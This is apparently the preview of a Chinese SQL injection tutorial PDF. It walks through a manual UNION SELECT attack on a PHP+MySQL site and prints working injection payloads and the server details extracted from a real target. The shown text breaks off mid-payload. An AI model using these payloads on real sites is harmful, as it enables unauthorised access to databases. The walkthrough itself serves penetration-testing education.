PHP+MySQL注入实战：利用Union Select绕过错误回显服务器信息.pdfVIP

注入点：

加个单引号，无错误回显。

Orderby找字段数，确定为13个字段，开始找显示位，最终确定5、6、7、8、10为显示位，

如图：

看看的一些基本信息：

数据库用户名：changli@localhost

数据库版本：4.0.26-standard-log

当前库名：changli

服务器操作系统：pc-linux-gnu

在这里说一下，在mysql中，大多的变量都是可以这样写的：

User()

Version()

同时也可以这样写：

@@user

@@version

如果有些时候我们遇到第一种写法出错，那么可以试试第二种写法，比如现在这个例子，我

提交：

589+union+select+1,2,3,4,global.version_compile_os(),6,7,8,9,10,11,12,13

的时候出错了，但是我提交：

589+union+select+1,2,3,4,@@global.version_compile_os,6,7,8